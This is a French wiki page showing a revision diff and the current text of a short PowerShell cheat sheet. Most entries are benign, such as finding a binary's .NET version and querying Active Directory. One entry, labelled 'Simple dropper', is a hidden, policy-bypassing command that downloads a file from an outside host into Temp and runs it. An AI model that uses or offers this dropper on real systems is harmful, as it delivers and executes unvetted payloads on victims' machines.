PowerShell : Différence entre versions
Ligne 8 : | Ligne 8 : | ||
[Reflection.Assembly]::ReflectionOnlyLoadFrom("C:\Users\futex\Desktop\test.exe").ImageRuntimeVersion |
[Reflection.Assembly]::ReflectionOnlyLoadFrom("C:\Users\futex\Desktop\test.exe").ImageRuntimeVersion |
||
v2.0.50727 |
v2.0.50727 |
||
+ | |||
+ | Find machine version using Active Directory |
||
+ | Get-ADComputer "$MACHINE_NAME" -Property operatingsystemversion |
Version actuelle datée du 21 février 2018 à 12:18
Simple dropper
powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://toto.com/image.png','C:\Users\admin\AppData\Local\Temp\image.png'); Start-Process('C:\Users\admin\AppData\Local\Temp\image.png')
Find the framework version of a binary
[Reflection.Assembly]::ReflectionOnlyLoadFrom("C:\Users\futex\Desktop\test.exe").ImageRuntimeVersion v2.0.50727
Find machine version using Active Directory
Get-ADComputer "$MACHINE_NAME" -Property operatingsystemversion